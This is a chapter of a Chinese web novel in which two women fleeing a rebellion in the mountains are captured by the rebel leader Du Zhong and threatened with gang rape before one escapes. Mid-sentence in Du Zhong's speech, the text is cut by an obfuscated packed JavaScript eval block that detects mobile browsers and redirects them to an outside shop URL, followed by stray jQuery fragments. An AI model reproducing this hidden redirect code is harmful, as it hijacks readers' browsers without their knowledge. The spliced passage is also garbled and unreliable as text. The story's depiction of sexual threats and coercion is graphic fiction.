155. 第155章

作品:《卢家养女

    孟珂独自走了之后,卢宽带了几个人跟在后面,但越往深处走,便有越多叛军探子,他也不敢跟得太近,最后还是被甩掉了。


    而周冶则是在太后面前自请出战的,便同随后跟进山的大军会合,准备营救。雨歇和侍剑也后一步跟来,同他碰了头。


    朝廷的兵马孤军深入,不敢分散太过,怕中埋伏。待看到孟珂发的信号弹,锁定了人质所在,他们这才直入山中,攻破营垒,歼敌大半。


    杜三哪敢上阵,听到动静就躲进了猎屋的枯井里,等被抓起来,不等逼问就说了放走孟珂二人之事,被带到了周冶面前,暂留了一命,以验真伪。


    杜忠带着余众散入了更深的山中,杨玄臻也被他一并带走了。


    周冶和卢宽各带了一队人马,带上寻踪犬,一个去找杜忠和杨玄臻,一个要抢在杜忠余众之前,先找到孟珂。


    却说孟珂,知道两方将有恶战,于是逆着两军交战的方向,避开战线,还专拣难以行军的偏僻之处走,只求在剿灭之前保全自身。


    天黑之前,二人找到了个山洞,捡了些柴火,总算有个躲避野兽和乱军的安身之处。


    孟珂在火堆前,借着火光,看起了这一带的山脉地形图,推算着两军的战线,杜忠溃散的方向,思考着自己第二日的安全路线。


    霍茹蕙看了看她身边摊开在地上的包袱,发现里面竟什么都有。除了火折子和伤药,竟然还有轻便的牛皮水袋,特制的防水防风还保温的轻便披风,甚至还有能久存的肉干,另有把小巧的匕首。


    霍茹蕙刚把手伸向匕首,就见孟珂袖口露出一个极精巧轻便的弩箭,对准了她,却目不斜视,还在认真研究着地图路线。


    也不知她什么时候就戴上了。霍茹蕙撇撇嘴,收回了手道:“你现在心眼儿可真够多的!不过,我算是知道,之前为什么没能杀掉你了。”


    她看着眼前的火堆,脸上感受着火焰炽热的温暖,哂笑一声,“不过,我现在也不想杀你了。”


    “你想不想杀我不重要。”孟珂收起了地图,拿起一根树枝,挑了挑火堆,火星和飞灰随之扬起,焰头也窜了起来,显得她的眼睛更亮了,又道,“重要的是,我不会再给你杀我的机会。”


    霍茹蕙笑笑,瞥了她一眼,看着火堆,语气中有种不可置信,“其实,我一直都不曾真正想杀你。这个世上没了你,还挺没趣的,甚至,让人觉得……寂寞。”


    这么一说出来,连她自己都觉得好笑,摇了摇头,重重地吐出了一口气。


    孟珂并未接话,想起了什么,又打开了地图。


    过了许久,霍茹蕙突然道:“你说,如果当初我们像今日一样,一起逃走,那……我们的人生会不会很不一样?”


    孟珂冷冷地道:“没有如果。”


    霍茹蕙转眸看着她,自嘲地笑道:“我以前总觉得自己比你厉害,比你聪明,比你适应这个肮脏的世界。你……太善良而愚蠢,太轻信而可笑,注定会举步维艰,注定会一败涂地。可是,与你再见之后,我才慢慢地……我慢慢地不得不承认,可能是我错了。”


    她伸出一只手去,在火上烤着,“我一直都在抢,也总是抢到手,可最后却手中空空。这半生,到最后竟是什么都没落下。而你,却从一无所有,重新又得到了那么多。有一个又一个人,不顾利益,不畏生死地同你站在一起。而我,算计到死,却还是无人在乎我死活。我甚至还是再冒你的名,再沾你的光,才能逃走,苟活到此刻。”


    “我总是想走捷径,但如今才知道,每一条捷径都有什么样的代价。你总是傻傻地走那所谓对的、难走的路,可如今回看,那才是最对的,最短的路。我好像……真的不如你。”


    说着,她看向孟珂,目光中只剩了羡慕,“如果可以重来一次,我还挺想,试试像你那样活。”


    孟珂看了她一眼,真正的智慧,从来不是心机,也不是智计。可她并不打算在这时候同霍茹蕙谈心。之前的合作已经结束,而她们之间的账,还没来得及计算。


    她将地上的干草铺了铺,躺了下去,闭上眼道:“咱们歇两个时辰就继续赶路,你先守夜,一个时辰叫我。”


    霍茹蕙看着她,笑了。


    “如果是我,面对一个害过我的人,绝不会,也不敢带她在身边。更别说这样睡了。”她叹道,“看吧,我们终究是不同的。”


    “我们的确不同,但却不是你以为的不同。”孟珂闭着眼,说道,“我敢带你,敢躺下,是因为你安全之前暂时还不会害我。因为你一个人没法从叛军和官军的夹击中逃脱。你知道,我此行必定有人营救,跟着我活下来的胜算更大。”


    她翻了个身,背对火堆,又道,“其二,你自小就不辨东西,给你地图也看不明白,把你丢在山里,迷路就能迷死。就算无人营救,你也只有乖乖跟着我走的份儿,毕竟我当年就能在山野中活下来,比你自己一个人的生机大多了。”


    霍茹蕙看着她的背影,又笑了:“你到底是不一样了。”


    ***


    林风阵阵,树涛涌涌,密林中露出了一行人的身影,走到山崖边向阳处坐了下来歇息。


    眼看着东方的晨光越来越亮,周冶心中却越来越暗。


    这是孟珂独自进山的第二日了。叛军打散后的当夜,他们就找到了运气不好而掉下谷地,却也因此运气极好地没被杜忠带走的杨玄臻。


    可过了一整夜,却还没人找到孟珂。


    一开始还顺着孟珂留下的记号,找到了她曾夜宿的山洞,但许是因为怕引来追兵,记号越来越少,到这会儿已经几个时辰没找见一个了。凌晨又下了一场大雨,至今淅沥不断,打断了她身上带的寻踪丸气味。


    茫茫林海中,他们一时竟迷失了方向。周冶也肉眼可见地越来越急。


    侍剑抬眼看向那无边无际的山野,也担心道:“这么娇贵的小姐,在这到处豺狼虎豹还有杀红了眼的叛军的山中……”


    “没事,她一定没事的。”雨歇打断了他。


    周冶像是对自己说道:“当年她不过十二岁,都能在山里活下来,何况如今。”


    侍剑脱口道:“但吃人的不是荒野,而是……”


    “你就别乌鸦嘴了!”雨歇急道,“小姐福星高照,一定不会遇到杜忠余党的。”


    一说完,她自己也住了口。


    侍剑看了她一眼:“还说我……”


    雨歇扯了扯他的手,两人都看向了周冶。


    周冶淡淡地扫了二人一眼,却没作声,又望向了无边林海。


    三人都心知肚明,时间越久,孟珂遇到散兵游勇的可能性就越大。叛军之前尚成建制,进退都听指挥,如今被打散了,逃跑躲藏的路线,同她撞上的可能性就太大。任她智计双全,也难力敌贼兵。但这还不是最坏的,贼兵尚可周旋,若是让杜忠抓住……


    “走!”周冶歇不住了,站起身来,埋头往林海走去。


    雨歇也忙招呼人跟上。


    他们的担心没错,孟霍二人原本走的是大军不大可能走的偏僻路线,但随着乱兵四散奔逃,她和霍茹蕙虽一路小心,到底还是碰着了几小股。虽都让她们惊险地躲掉了,但已经不敢再多留记号。


    山中已经没有安全路线,到处都可能碰上危险。她们只能躲藏为主,逃跑为辅,可纵是这样,到底还是让斥候抓到,带到了杜忠面前。


    ***


    叛军围着火堆,杜忠坐在上首,打量着二人。


    她们都穿着粗布麻衣,脸也故意弄脏了,但布衣荆钗终究难掩国色,反而越见动人。连杜忠也忍不住起了两分怜香惜玉之心。若非仇人,他倒是也不忍取了这两个尤物的性命。


    “跑啊!继续跑啊!你们看着娇滴滴,倒还有些本事!能在我手里跑掉,还能在山里活到现在,没让豺狼虎豹撕了。”


    杜忠的目光同旁边的亲兵一交换,笑道,“也没让人给办了。”


    众人都哄笑了起来。


    他的目光在两人之间来回扫了几遍,沉下脸来,问道:“谁是那梁家之女,谁是那姓霍的女人?”


    他父亲被杀之时,他在城楼下只看见个身影,根本看不清面貌,是以并不认得。


    谁知,两人看了他一眼,竟都没搭理。


    “敬酒不吃想吃罚酒?”杜忠身子往后一仰,指着二人笑道,“我乃军武之人,可不像京中那些公子会疼人。在我这儿使性子,可没有好果子吃!”


    两人互看了一眼,还是没说话。


    “无妨!”杜忠手在膝盖一撑,站起身来,负手走到她们面前,慢慢踱起了步。


    他笑道:“你们俩,一个当着满朝文武背叛我父亲,害我不得不起兵;一个更是亲手活活烧死我父亲,悬尸城头…


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289697|193939||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    …你们可真是一对当世妲己,祸国妖女!把你们抓进山来,居然还能跑了,甚至放了信号弹,引来朝廷狗军,害我……”


    杜忠突然瞪大了眼,咬着牙大声吼道,“说!谁做的?是你,还是你?”


    “将军明鉴!”霍茹蕙先拿一双翦水秋瞳望了望他,我见犹怜地道,“我是被他们逼的!我哪里敢违逆圣意啊!还请将军看在我是个什么都不懂的可怜人的份儿上,饶我一命!”


    杜忠站到霍茹蕙面前,抬手端着她小巧的下巴,转头看了看兄弟,笑道:“果然是个祸水!难怪我那连襟和我父亲都看上了。我该叫你什么?是跟着我二妹叫一声妹妹,还是应该顺着父亲,叫你声……姨娘?”


    众人又一阵笑。


    他另一手伸去摸孟珂的下巴,还没碰到,就被她扭开了。杜忠先是一怒,随即大笑了起来,“瞧瞧!一个娇滴滴让人骨头软,一个犟骨头有嚼头。”


    他一把丢开霍茹蕙,一只大手上去,钳着孟珂的下巴,让她动弹不得,又抬起另一只手,清脆地拍着她的脸,笑道,“你们二人都该死!不过,这样的尤物,死之前可以先让弟兄们好好儿乐上一乐了。”


    说着,他转头看向周围,“你们说,先要哪个好?是骚的这个,还是辣的这个?”


    ***


    军中本就孤寂,何况是这样两个一辈子见也没见过的美人。亲兵无不眼馋地看着二人,一双双闪着光的眼睛,仿若饿狼。


    霍茹蕙对这样的神色再熟悉不过。


    她想定了,迤逦上前,一手抓着杜忠的衣襟,一手将他的头扭到自己面前,嗔道:“妾身难道还不如她吗?将军倒是看看,我哪里不比她强?”


    说着,媚眼一扫,娇软的身子一扭,顺道用肩膀撞开了孟珂,娇滴滴地道,“妾身到底有什么好处……将军想知道,不若亲自试试?”


    杜忠的一双眼睛已经粘在了她那水蛇般的妖娆腰肢上,垂涎着大笑了起来,“难怪勾得了那么多男人,是个男人,都得化在这腰上了。”


    说着,一把搂了上去。


    霍茹蕙却顺势躲开,反手拉着他的衣襟,一步一退地将他带往营帐中去。


    周围的兵勇哪见过这,宛若现场看场活/春/宫,激动得呼喊起来。


    杜忠边走边大声吟诵了起来:“二八佳人体似酥,腰间仗剑斩凡夫。虽然不见人头落,暗里教君骨髓枯。”(《警世》唐·吕岩)


    就在帘子合拢的瞬间,霍茹蕙冲孟珂使了个眼色。孟珂哪里不明白她的盘算,与其硬拼,直接被扔给那些饿狼似的兵勇,不如先讨好了杜忠。他一旦上了套,一时也未必会与人分享。横竖要受辱,那也要受轻一些、少一些。


    孟珂看向了帐前的兵勇。除了巡防的岗哨,剩下的人大都围着火堆而坐,注意力都被帘内吸引。


    不负众人所望,帘内很快就传出了让他们垂涎的声音,个个目露饥馋,越来越着急上火。


    这是最好的逃跑之机。


    孟珂借口要方便,看押的人流着口水看了她一眼,想着一会儿还有自己的好事,便也应了。但谁都不想错过这时候的热闹,成为下一个可能得赏赐的人,一个推一个的,最后支使了一个最末等的小兵,带她入林,正合了孟珂之意。


    帐内,杜忠正在兴奋地忙活,突然听得外面急喊道:“将军!”


    这个时候,若非紧急之事,底下人断然不敢前来打扰。杜忠虽心头恼火,却还是含着怒气应声:“说!”


    “那个女人……她跑了!”


    “废物!”


    杜忠边整衣服边走了出来,斥问道:“怎么回事?这么多人看不住一个女人!你们都干什么吃的?”


    “她说要方便,我们想着,不能让她污了将军,就……”


    众人都垂着头,不敢应声。


    杜忠一脚踹飞了门口的墩子,恼火地喷了几口恶气,叉着腰吼道:“找!还不快去找!一个个愣在这儿干嘛?等着人自己回来吗?”


    他看了一眼营帐,比起背叛父亲的霍茹蕙,烧死父亲的孟珂更该死!绝不能让她跑了。于是,他转身对帘子里警告道:“你给我老实点!敢耍什么花招,就直接把你丢给兄弟们,再丢去喂狼!”


    霍茹蕙半躺半坐在虎皮毡子里,乖觉地连连点头。


    杜忠恼火归恼火,还是带了一队人,亲自去追了。